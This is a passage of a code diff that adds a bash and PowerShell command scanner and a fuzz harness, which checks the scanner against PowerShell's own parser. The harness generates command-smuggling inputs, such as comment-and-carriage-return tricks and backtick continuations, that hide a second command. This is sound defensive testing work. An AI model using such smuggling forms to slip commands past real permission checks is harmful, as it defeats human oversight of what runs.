|
||||
const forms = [
|
||||
`${left} fuzz${iteration}${separator}${right}${argument}`,
|
||||
`${left.toLowerCase()} fuzz${iteration}${separator}${right.toUpperCase()}${argument}`,
|
||||
`${left} fuzz${iteration} > output${iteration}; ${right}${argument}`,
|
||||
`${left} fuzz${iteration} # ignored\n${right}${argument}`,
|
||||
`${left} fuzz${iteration} # ignored\r${right}${argument}`,
|
||||
`${left} fuzz${iteration} # ignored\r\n${right}${argument}`,
|
||||
`${left}\`\n fuzz${iteration}; ${right}${argument}`,
|
||||
`Microsoft.PowerShell.Management\\${left} fuzz${iteration}; ${right}${argument}`,
|
||||
]
|
||||
sources.add(forms[random(forms.length)])
|
||||
}
|
||||
|
||||
const process_ = Bun.spawnSync([pwsh, "-NoProfile", "-NonInteractive", "-File", "research/powershell-oracle.ps1"], {
|
||||
cwd: import.meta.dir + "/..",
|
||||
stdin: new TextEncoder().encode(JSON.stringify([...sources])),
|
||||
stdout: "pipe",
|
||||
stderr: "pipe",
|
||||
})
|
||||
if (process_.exitCode !== 0) {
|
||||
console.error(process_.stderr.toString())
|
||||
process.exit(process_.exitCode)
|
||||
}
|
||||
|
||||
const oracle = JSON.parse(process_.stdout.toString()) as {
|
||||
version: string
|
||||
results: Array<{
|
||||
source: string
|
||||
commands: Array<{ name: string | null; text: string; start: number; end: number }>
|
||||
errors: string[]
|
||||
}>
|
||||
}
|
||||
const version = Number(oracle.version.split(".")[0])
|
||||
if (version !== oracleMajor)
|
||||
throw new Error(`PowerShell version changed during oracle run: ${oracleMajor} to ${oracle.version}`)
|
||||
const returned = new Set(oracle.results.map((result) => result.source))
|
||||
if (
|
||||
oracle.results.length !== sources.size ||
|
||||
returned.size !== sources.size ||
|
||||
[...sources].some((source) => !returned.has(source))
|
||||
)
|
||||
throw new Error(`PowerShell oracle returned ${oracle.results.length} results for ${sources.size} unique sources`)
|
||||
const evaluated = oracle.results.map((item) => ({ item, scanned: ShellScan.scanPowerShell(item.source) }))
|
||||
const findings = evaluated.flatMap(({ item, scanned }) => {
|
||||
if (unsupported.includes(item.source as (typeof unsupported)[number]) && scanned.kind !== "opaque")
|
||||
return [{ source: item.source, reason: "unsupported-scanned", expected: [], actual: [], missing: [] }]
|
||||
if (item.errors.length > 0)
|
||||
return scanned.kind === "opaque"
|
||||
? []
|
||||
: [{ source: item.source, reason: "malformed-scanned", expected: [], actual: [], missing: item.errors }]
|
||||
if (scanned.kind === "opaque") return []
|
||||
if (item.commands.some((command) => command.name === null))
|
||||
return [{ source: item.source, reason: "dynamic-head-scanned", expected: [], actual: [], missing: [] }]
|
||||
const expected = item.commands.map((command) => normalize(command.name ?? ""))
|
||||
const actual = scanned.commands.map((command) => normalize(command.words[0] ?? ""))
|
||||
let index = 0
|
||||
const missing = expected.filter((name) => {
|
||||
while (index < actual.length && actual[index] !== name) index++
|
||||
if (index >= actual.length) return true
|
||||
index++
|
||||
return false
|
||||
})
|
||||
const invalidExtent = item.commands.find((command) => item.source.slice(command.start, command.end) !== command.text)
|
||||
if (invalidExtent)
|
||||
return [{ source: item.source, reason: "invalid-extent", expected, actual, missing: [invalidExtent.text] }]
|
||||
return missing.length > 0 ? [{ source: item.source, reason: "missing-command", expected, actual, missing }] : []
|
||||
})
|
||||
const scannedCount = evaluated.filter(({ scanned }) => scanned.kind === "scanned").length
|
||||
if (scannedCount < 1_900) throw new Error(`PowerShell scanned coverage fell below floor: ${scannedCount}`)
|
||||
|
||||
console.log(
|
||||
JSON.stringify(
|
||||
{
|
||||
schema: 1,
|
||||
powershell: oracle.version,
|
||||
generated: sources.size,
|
||||
parsed: oracle.results.filter((result) => result.errors.length === 0).length,
|
||||
scanned: scannedCount,
|
||||
violations: findings.length,
|
||||
findings,
|
||||
},
|
||||
null,
|
||||
2,
|
||||
),
|
||||
)
|
||||
if (findings.length > 0) process.exitCode = 1
|
||||
|
||||
function normalize(name: string) {
|
||||
return name.replace(/`?[\r\n]+/g, "").toLowerCase()
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$sources = [Console]::In.ReadToEnd() | ConvertFrom-Json
|
||||
$results = foreach ($source in $sources) {
|
||||
$tokens = $null
|
||||
$errors = $null
|
||||
$ast = [System.Management.Automation.Language.Parser]::ParseInput($source, [ref] $tokens, [ref] $errors)
|
||||
$commands = $ast.FindAll(
|
||||
{ param($node) $node -is [System.Management.Automation.Language.CommandAst] },
|
||||
$true
|
||||
) | ForEach-Object {
|
||||
[pscustomobject]@{
|
||||
name = $_.GetCommandName()
|
||||
text = $_.Extent.Text
|
||||
start = $_.Extent.StartOffset
|
||||
end = $_.Extent.EndOffset
|
||||
}
|
||||
}
|
||||
[pscustomobject]@{
|
||||
source = $source
|
||||
commands = @($commands)
|
||||
errors = @($errors | ForEach-Object { $_.Message })
|
||||
}
|
||||
}
|
||||
|
||||
[pscustomobject]@{
|
||||
version = $PSVersionTable.PSVersion.ToString()
|
||||
results = @($results)
|
||||
} | ConvertTo-Json -Depth 6 -Compress
|
||||
@@ -0,0 +1,703 @@
|
||||
export * as ShellScan from "./index.js"
|
||||
|
||||
export type OpaqueReason =
|
||||
| "command-substitution"
|
||||
| "compound-command"
|
||||
| "command-wrapper"
|
||||
| "dynamic-command-name"
|
||||
| "dynamic-directory"
|
||||
| "dynamic-execution"
|
||||
| "heredoc"
|
||||
| "invalid-redirect"
|
||||
| "invalid-structure"
|
||||
| "shell-evaluation"
|
||||
| "unterminated-escape"
|
||||
| "unterminated-quote"
|
||||
|
||||
export type Result =
|
||||
| { kind: "scanned"; commands: Array<{ resource: string; words: string[] }> }
|
||||
| { kind: "opaque"; reason: OpaqueReason }
|
||||
|
||||
const BASH_COMPOUND_KEYWORDS = new Set([
|
||||
"if",
|
||||
"then",
|
||||
"elif",
|
||||
"else",
|
||||
"fi",
|
||||
"for",
|
||||
"while",
|
||||
"until",
|
||||
"case",
|
||||
"select",
|
||||
"function",
|
||||
"do",
|
||||
"done",
|
||||
"coproc",
|
||||
])
|
||||
const POWERSHELL_LOCATIONS = new Set(["set-location", "cd", "chdir", "sl", "push-location"])
|
||||
const POWERSHELL_ALIASES: Record<string, string> = {
|
||||
"%": "foreach-object",
|
||||
"?": "where-object",
|
||||
ac: "add-content",
|
||||
asnp: "add-pssnapin",
|
||||
cli: "clear-item",
|
||||
clc: "clear-content",
|
||||
copy: "copy-item",
|
||||
cp: "copy-item",
|
||||
cpi: "copy-item",
|
||||
del: "remove-item",
|
||||
erase: "remove-item",
|
||||
etsn: "enter-pssession",
|
||||
foreach: "foreach-object",
|
||||
icm: "invoke-command",
|
||||
ihy: "invoke-history",
|
||||
ii: "invoke-item",
|
||||
ipal: "import-alias",
|
||||
ipmo: "import-module",
|
||||
ipsn: "import-pssession",
|
||||
mi: "move-item",
|
||||
move: "move-item",
|
||||
mv: "move-item",
|
||||
nal: "new-alias",
|
||||
ni: "new-item",
|
||||
nmo: "new-module",
|
||||
r: "invoke-history",
|
||||
rd: "remove-item",
|
||||
ren: "rename-item",
|
||||
ri: "remove-item",
|
||||
rm: "remove-item",
|
||||
rmdir: "remove-item",
|
||||
rni: "rename-item",
|
||||
rmo: "remove-module",
|
||||
rsnp: "remove-pssnapin",
|
||||
sajb: "start-job",
|
||||
sal: "set-alias",
|
||||
saps: "start-process",
|
||||
sbp: "set-psbreakpoint",
|
||||
sc: "set-content",
|
||||
si: "set-item",
|
||||
start: "start-process",
|
||||
pushd: "push-location",
|
||||
trcm: "trace-command",
|
||||
where: "where-object",
|
||||
}
|
||||
const MAX_BASH_INPUT_LENGTH = 64 * 1024
|
||||
const MAX_SUBSTITUTION_DEPTH = 32
|
||||
|
||||
export function scan(input: string): Result {
|
||||
return scanBash(input, 0)
|
||||
}
|
||||
|
||||
function scanBash(input: string, depth: number): Result {
|
||||
if (input.length > MAX_BASH_INPUT_LENGTH) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const group = bashLeadingGroup(input)
|
||||
if (group) {
|
||||
if (depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const nested = scanBash(group.source, depth + 1)
|
||||
if (nested.kind === "opaque") return nested
|
||||
const suffix = input.slice(group.end + 1).trim()
|
||||
if (!suffix) return nested
|
||||
const separator = /^(?:&&|\|\||\|&|[;&|])/.exec(suffix)?.[0]
|
||||
const remaining = separator ? suffix.slice(separator.length).trim() : suffix
|
||||
if (separator && !remaining) return nested
|
||||
const prefixed = separator ? remaining : /^[<>]/.test(remaining) ? `: ${remaining}` : undefined
|
||||
if (!prefixed) return { kind: "opaque", reason: "compound-command" }
|
||||
const rest = scanBash(prefixed, depth + 1)
|
||||
if (rest.kind === "opaque") return rest
|
||||
return {
|
||||
kind: "scanned",
|
||||
commands: nested.commands.concat(rest.commands.filter((command) => command.words[0] !== ":")),
|
||||
}
|
||||
}
|
||||
const commands: Array<{ resource: string; words: string[] }> = []
|
||||
const nestedCommands: Array<{ resource: string; words: string[] }> = []
|
||||
const words: string[] = []
|
||||
const assignmentWords: boolean[] = []
|
||||
let word = ""
|
||||
let wordStarted = false
|
||||
let assignmentWord = false
|
||||
let assignmentHeadUnsafe = false
|
||||
let segment = 0
|
||||
let quote: "single" | "double" | undefined
|
||||
let dynamicWord = false
|
||||
let compound = false
|
||||
let invalidRedirect = false
|
||||
let invalidStructure = false
|
||||
let separated = false
|
||||
let comment: number | undefined
|
||||
let heredoc = false
|
||||
let redirectTarget = false
|
||||
let hasRedirect = false
|
||||
let terminalBackground = false
|
||||
|
||||
const finishWord = () => {
|
||||
if (!wordStarted) return
|
||||
if (!redirectTarget) {
|
||||
words.push(word)
|
||||
assignmentWords.push(assignmentWord)
|
||||
}
|
||||
redirectTarget = false
|
||||
word = ""
|
||||
wordStarted = false
|
||||
assignmentWord = false
|
||||
assignmentHeadUnsafe = false
|
||||
}
|
||||
const finishCommand = (end: number, boundary = false) => {
|
||||
finishWord()
|
||||
const resource = input.slice(segment, end).trim()
|
||||
const name = assignmentWords.findIndex((assignment) => !assignment)
|
||||
if (name >= 0 && /[*?[]/.test(words[name])) compound = true
|
||||
if (resource && name >= 0)
|
||||
commands.push({
|
||||
resource,
|
||||
words: words.slice(name),
|
||||
})
|
||||
else if (!(assignmentWords.length > 0 && assignmentWords.every(Boolean)) && (hasRedirect || boundary || separated))
|
||||
invalidStructure = true
|
||||
words.length = 0
|
||||
assignmentWords.length = 0
|
||||
separated = true
|
||||
hasRedirect = false
|
||||
}
|
||||
|
||||
for (let index = 0; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
wordStarted = true
|
||||
if (char === "'") quote = undefined
|
||||
else word += char
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
wordStarted = true
|
||||
if (char === '"') quote = undefined
|
||||
else if (char === "\\" && index + 1 < input.length) word += input[++index]
|
||||
else if ((char === "$" && input[index + 1] === "(") || char === "`") {
|
||||
const substitution = bashSubstitution(input, index)
|
||||
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
|
||||
const result = scanBash(substitution.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands)
|
||||
word += input.slice(index, substitution.end + 1)
|
||||
index = substitution.end
|
||||
} else {
|
||||
if (char === "$" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$") dynamicWord = true
|
||||
word += char
|
||||
}
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
wordStarted = true
|
||||
if (!assignmentWord) assignmentHeadUnsafe = true
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = "double"
|
||||
wordStarted = true
|
||||
if (!assignmentWord) assignmentHeadUnsafe = true
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
if (index + 1 >= input.length) return { kind: "opaque", reason: "unterminated-escape" }
|
||||
wordStarted = true
|
||||
if (input[index + 1] === "\n") index++
|
||||
else {
|
||||
if (!assignmentWord) assignmentHeadUnsafe = true
|
||||
word += input[++index]
|
||||
}
|
||||
continue
|
||||
}
|
||||
if ((char === "$" && input[index + 1] === "(") || char === "`") {
|
||||
const substitution = bashSubstitution(input, index)
|
||||
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
|
||||
const result = scanBash(substitution.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands)
|
||||
wordStarted = true
|
||||
word += input.slice(index, substitution.end + 1)
|
||||
index = substitution.end
|
||||
continue
|
||||
}
|
||||
if ((char === "<" || char === ">") && input[index + 1] === "(") {
|
||||
const substitution = bashParenthesized(input, index + 1)
|
||||
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
|
||||
const result = scanBash(substitution.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands)
|
||||
wordStarted = true
|
||||
word += input.slice(index, substitution.end + 1)
|
||||
index = substitution.end
|
||||
continue
|
||||
}
|
||||
if (char === "$" && input[index + 1] === "{" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$" && input[index + 1] === "[") return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "<" && input[index + 1] === "<") heredoc = true
|
||||
if (char === "#" && !wordStarted) {
|
||||
finishCommand(index)
|
||||
comment = index
|
||||
const newline = input.indexOf("\n", index)
|
||||
if (newline === -1) break
|
||||
index = newline
|
||||
segment = newline + 1
|
||||
continue
|
||||
}
|
||||
const redirect = /^(?:&>>?|<<<|<<-?|<>|<&|>&|>\||>>|>|<)/.exec(input.slice(index))?.[0]
|
||||
if (redirect) {
|
||||
hasRedirect = true
|
||||
if (redirectTarget) invalidRedirect = true
|
||||
if (wordStarted && /^\d+$/.test(word)) {
|
||||
word = ""
|
||||
wordStarted = false
|
||||
} else finishWord()
|
||||
redirectTarget = true
|
||||
index += redirect.length - 1
|
||||
continue
|
||||
}
|
||||
if ("()".includes(char) || (char === "!" && !wordStarted)) compound = true
|
||||
if (/\s/.test(char) && char !== "\n") {
|
||||
finishWord()
|
||||
continue
|
||||
}
|
||||
const next = input[index + 1]
|
||||
const separator =
|
||||
(char === "&" && next === "&") || (char === "|" && (next === "|" || next === "&"))
|
||||
? char + next
|
||||
: char === ";" || char === "|" || char === "&" || char === "\n"
|
||||
? char
|
||||
: undefined
|
||||
if (separator) {
|
||||
finishCommand(index, true)
|
||||
if (redirectTarget) invalidRedirect = true
|
||||
terminalBackground = separator === "&" || separator === ";" || separator === "\n"
|
||||
index += separator.length - 1
|
||||
segment = index + 1
|
||||
continue
|
||||
}
|
||||
terminalBackground = false
|
||||
wordStarted = true
|
||||
if (char === "$") dynamicWord = true
|
||||
if (char === "=" && !assignmentHeadUnsafe && /^[A-Za-z_][A-Za-z0-9_]*\+?$/.test(word)) assignmentWord = true
|
||||
word += char
|
||||
}
|
||||
|
||||
if (quote) return { kind: "opaque", reason: "unterminated-quote" }
|
||||
if (heredoc) return { kind: "opaque", reason: "heredoc" }
|
||||
if (!terminalBackground && (comment === undefined || input.includes("\n", comment))) finishCommand(input.length)
|
||||
if (redirectTarget) invalidRedirect = true
|
||||
if (separated && !terminalBackground && comment === undefined && !input.slice(segment).trim()) invalidStructure = true
|
||||
if (invalidStructure) return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (invalidRedirect) return { kind: "opaque", reason: "invalid-redirect" }
|
||||
const conditional = bashConditionalCommands(commands)
|
||||
if (conditional) commands.splice(0, commands.length, ...conditional)
|
||||
if (compound || commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "")))
|
||||
return { kind: "opaque", reason: "compound-command" }
|
||||
if (
|
||||
commands.some((command) => /[$`]/.test(command.words[0] ?? "")) ||
|
||||
(dynamicWord && commands[0]?.words[0]?.includes("$"))
|
||||
)
|
||||
return { kind: "opaque", reason: "dynamic-command-name" }
|
||||
if (commands.some((command) => command.words[0]?.startsWith("=")))
|
||||
return { kind: "opaque", reason: "dynamic-command-name" }
|
||||
return { kind: "scanned", commands: commands.concat(nestedCommands) }
|
||||
}
|
||||
|
||||
function bashConditionalCommands(commands: Array<{ resource: string; words: string[] }>) {
|
||||
if (commands[0]?.words[0] !== "if" || commands.at(-1)?.words[0] !== "fi") return
|
||||
const keywords = new Set(["if", "then", "elif", "else", "fi"])
|
||||
if (
|
||||
commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "") && !keywords.has(command.words[0]!))
|
||||
)
|
||||
return
|
||||
const normalized: Array<{ resource: string; words: string[] }> = []
|
||||
let phase: "condition" | "body" | "else" = "condition"
|
||||
let hasCommand = false
|
||||
let sawElse = false
|
||||
for (const [index, command] of commands.entries()) {
|
||||
const keyword = command.words[0]
|
||||
if (!keywords.has(keyword ?? "")) {
|
||||
normalized.push(command)
|
||||
hasCommand = true
|
||||
continue
|
||||
}
|
||||
const offset = command.resource.indexOf(keyword!) + keyword!.length
|
||||
const inline =
|
||||
command.words.length > 1
|
||||
? { resource: command.resource.slice(offset).trim(), words: command.words.slice(1) }
|
||||
: undefined
|
||||
if (index === 0) {
|
||||
if (inline) normalized.push(inline)
|
||||
hasCommand = Boolean(inline)
|
||||
continue
|
||||
}
|
||||
if (keyword === "then") {
|
||||
if (phase !== "condition" || !hasCommand) return
|
||||
phase = "body"
|
||||
hasCommand = Boolean(inline)
|
||||
}
|
||||
if (keyword === "elif") {
|
||||
if (phase !== "body" || !hasCommand || sawElse) return
|
||||
phase = "condition"
|
||||
hasCommand = Boolean(inline)
|
||||
}
|
||||
if (keyword === "else") {
|
||||
if (phase !== "body" || !hasCommand || sawElse) return
|
||||
phase = "else"
|
||||
sawElse = true
|
||||
hasCommand = Boolean(inline)
|
||||
}
|
||||
if (keyword === "fi") {
|
||||
if (index !== commands.length - 1 || phase === "condition" || !hasCommand || inline) return
|
||||
continue
|
||||
}
|
||||
if (inline) normalized.push(inline)
|
||||
}
|
||||
return normalized
|
||||
}
|
||||
|
||||
function bashLeadingGroup(input: string) {
|
||||
const start = input.search(/\S/)
|
||||
if (start < 0) return
|
||||
if (input[start] === "{") {
|
||||
const group = bashBraced(input, start)
|
||||
if (!group) return
|
||||
const source = group.source.trim()
|
||||
if (!source.endsWith(";")) return
|
||||
return { source: source.slice(0, -1), end: group.end }
|
||||
}
|
||||
if (input[start] !== "(") return
|
||||
return bashParenthesized(input, start)
|
||||
}
|
||||
|
||||
function bashBraced(input: string, start: number) {
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "{" && quote !== "double") level++
|
||||
if (char !== "}" || quote === "double" || --level) continue
|
||||
return { source: input.slice(start + 1, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
function bashParenthesized(input: string, start: number) {
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "(" && quote !== "double") level++
|
||||
if (char !== ")" || quote === "double" || --level) continue
|
||||
return { source: input.slice(start + 1, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
function bashSubstitution(input: string, start: number) {
|
||||
if (input[start] === "`") {
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
if (input[index] === "\\") index++
|
||||
else if (input[index] === "`") return { source: input.slice(start + 1, index).replaceAll("\\`", "`"), end: index }
|
||||
}
|
||||
return
|
||||
}
|
||||
if (input.slice(start, start + 3) === "$((") return
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 2; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (quote !== "double" && char === "#" && (index === start + 2 || /[\s;&|()]/.test(input[index - 1] ?? ""))) return
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "`" && quote !== "double") {
|
||||
const nested = bashSubstitution(input, index)
|
||||
if (!nested) return
|
||||
index = nested.end
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
if (char === "$" && input[index + 1] === "(") {
|
||||
level++
|
||||
index++
|
||||
} else if (char === ")" && level > 1) level--
|
||||
continue
|
||||
}
|
||||
if (char === "(") level++
|
||||
if (char !== ")" || --level) continue
|
||||
return { source: input.slice(start + 2, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
export function scanPowerShell(input: string): Result {
|
||||
return scanPowerShellNested(input, 0)
|
||||
}
|
||||
|
||||
function scanPowerShellNested(input: string, depth: number): Result {
|
||||
if (input.length > MAX_BASH_INPUT_LENGTH || depth >= MAX_SUBSTITUTION_DEPTH)
|
||||
return { kind: "opaque", reason: "invalid-structure" }
|
||||
const commands: Array<{ resource: string; words: string[] }> = []
|
||||
const nestedCommands: Array<{ resource: string; words: string[] }> = []
|
||||
const words: string[] = []
|
||||
let segment = 0
|
||||
let word = ""
|
||||
let started = false
|
||||
let quote: "single" | "double" | undefined
|
||||
let dynamic = false
|
||||
let invalid = false
|
||||
let redirectTarget = false
|
||||
let comment = false
|
||||
let separated = false
|
||||
let dangling = false
|
||||
let dynamicDirectory = false
|
||||
|
||||
const finishWord = () => {
|
||||
if (!started) return
|
||||
if (!redirectTarget) words.push(word)
|
||||
redirectTarget = false
|
||||
word = ""
|
||||
started = false
|
||||
}
|
||||
const finishCommand = (end: number, boundary = false) => {
|
||||
finishWord()
|
||||
const resource = input.slice(segment, end).trim()
|
||||
if (resource) commands.push({ resource, words: [...words] })
|
||||
else if (boundary && separated) invalid = true
|
||||
words.length = 0
|
||||
separated ||= Boolean(resource)
|
||||
}
|
||||
|
||||
for (let index = 0; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote) {
|
||||
started = true
|
||||
if (quote === "single" && char === "'" && input[index + 1] === "'") {
|
||||
word += "'"
|
||||
index++
|
||||
} else if ((quote === "single" && char === "'") || (quote === "double" && char === '"')) quote = undefined
|
||||
else if (char === "`" && index + 1 < input.length) word += input[++index]
|
||||
else {
|
||||
if (quote === "double" && char === "$" && input[index + 1] === "(") dynamic = true
|
||||
word += char
|
||||
}
|
||||
continue
|
||||
}
|
||||
if (char === "'" || char === '"') {
|
||||
quote = char === "'" ? "single" : "double"
|
||||
started = true
|
||||
continue
|
||||
}
|
||||
if (char === "`" && index + 1 < input.length) {
|
||||
if (words.length === 0) dynamic = true
|
||||
started = true
|
||||
if (input[index + 1] === "\r" && input[index + 2] === "\n") index += 2
|
||||
else if (input[index + 1] === "\r" || input[index + 1] === "\n") index++
|
||||
else word += input[++index]
|
||||
continue
|
||||
}
|
||||
if (char === "`") return { kind: "opaque", reason: "unterminated-escape" }
|
||||
if (char === "<" && input[index + 1] === "#") return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "#" && !started) {
|
||||
if (/^#requires\b/i.test(input.slice(index))) return { kind: "opaque", reason: "dynamic-execution" }
|
||||
finishCommand(index)
|
||||
comment = true
|
||||
const endings = [input.indexOf("\n", index), input.indexOf("\r", index)].filter((ending) => ending >= 0)
|
||||
const newline = endings.length > 0 ? Math.min(...endings) : -1
|
||||
if (newline === -1) break
|
||||
comment = false
|
||||
index = input[newline] === "\r" && input[newline + 1] === "\n" ? newline + 1 : newline
|
||||
segment = newline + 1
|
||||
continue
|
||||
}
|
||||
const redirect = powerShellRedirect(input, index)
|
||||
if (redirect) {
|
||||
finishWord()
|
||||
redirectTarget = !redirect.includes("&")
|
||||
index += redirect.length - 1
|
||||
continue
|
||||
}
|
||||
if (char === "{" && !started) {
|
||||
const block = powerShellBlock(input, index)
|
||||
if (!block) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const result = scanPowerShellNested(block.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands)
|
||||
started = true
|
||||
word += input.slice(index, block.end + 1)
|
||||
index = block.end
|
||||
continue
|
||||
}
|
||||
if (char === "}") return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (
|
||||
(char === "&" || char === ".") &&
|
||||
!started &&
|
||||
words.length === 0 &&
|
||||
(/\s/.test(input[index + 1] ?? "") || !input[index + 1])
|
||||
)
|
||||
continue
|
||||
if ("@()".includes(char)) dynamic = true
|
||||
if (/\s/.test(char) && char !== "\n" && char !== "\r") {
|
||||
finishWord()
|
||||
continue
|
||||
}
|
||||
const next = input[index + 1]
|
||||
const separator =
|
||||
char === "\r" && next === "\n"
|
||||
? char + next
|
||||
: (char === "&" && next === "&") || (char === "|" && next === "|")
|
||||
? char + next
|
||||
: char === ";" || char === "|" || char === "&" || char === "\n" || char === "\r"
|
||||
? char
|
||||
: undefined
|
||||
if (separator) {
|
||||
finishCommand(index, true)
|
||||
if (redirectTarget) invalid = true
|
||||
dangling = ![";", "&", "\n", "\r", "\r\n"].includes(separator)
|
||||
index += separator.length - 1
|
||||
segment = index + 1
|
||||
continue
|
||||
}
|
||||
started = true
|
||||
dangling = false
|
||||
word += char
|
||||
}
|
||||
|
||||
if (quote) return { kind: "opaque", reason: "unterminated-quote" }
|
||||
if (!comment) finishCommand(input.length)
|
||||
if (redirectTarget || invalid || dangling) return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (
|
||||
dynamic ||
|
||||
commands.some((command) => {
|
||||
const head = command.words[0] ?? ""
|
||||
if (head.includes("\\") && !/^[A-Za-z]:\\/.test(head)) return true
|
||||
const rawName = shellCommandName(head)
|
||||
const name = POWERSHELL_ALIASES[rawName] ?? rawName
|
||||
if (head.includes("$") || head.includes("@")) return true
|
||||
if (["return", "throw", "exit", "break", "continue"].includes(name) && command.words.length > 1) return true
|
||||
if (POWERSHELL_LOCATIONS.has(name ?? ""))
|
||||
return (dynamicDirectory =
|
||||
command.words.some(
|
||||
(word, index) =>
|
||||
index > 0 && (word.includes("(") || (word.includes("$") && !knownPowerShellDirectory(word))),
|
||||
) ||
|
||||
command.words.some((word, index) => index > 0 && /^[A-Za-z]+:/.test(word) && !/^[A-Za-z]:[\\/]/.test(word)))
|
||||
return false
|
||||
})
|
||||
)
|
||||
return { kind: "opaque", reason: dynamicDirectory ? "dynamic-directory" : "dynamic-execution" }
|
||||
return { kind: "scanned", commands: commands.concat(nestedCommands) }
|
||||
}
|
||||
|
||||
function powerShellBlock(input: string, start: number) {
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'" && input[index + 1] === "'") index++
|
||||
else if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "`") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "#" && quote !== "double") {
|
||||
const newline = input.indexOf("\n", index)
|
||||
if (newline < 0) return
|
||||
index = newline
|
||||
continue
|
||||
}
|
||||
if (char === "<" && input[index + 1] === "#" && quote !== "double") {
|
||||
const end = input.indexOf("#>", index + 2)
|
||||
if (end < 0) return
|
||||
index = end + 1
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "{" && quote !== "double") level++
|
||||
if (char !== "}" || quote === "double" || --level) continue
|
||||
return { source: input.slice(start + 1, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
function shellCommandName(word: string | undefined) {
|
||||
const value = (word ?? "").toLowerCase()
|
||||
return value.slice(Math.max(value.lastIndexOf("/"), value.lastIndexOf("\\")) + 1)
|
||||
}
|
||||
|
||||
function knownPowerShellDirectory(word: string) {
|
||||
const variable = /^(?:\$(?:PWD|HOME|PSHOME)|\$env:[A-Za-z_][A-Za-z0-9_]*|\$\{env:[^}]+\})(?:[\\/]|$)/i.exec(word)
|
||||
return Boolean(variable) && !word.slice(variable?.[0].length).includes("$")
|
||||
}
|
||||
|
||||
function powerShellRedirect(input: string, index: number) {
|
||||
let cursor = index
|
||||
if (input[cursor] === "*") cursor++
|
||||
else while (/\d/.test(input[cursor] ?? "")) cursor++
|
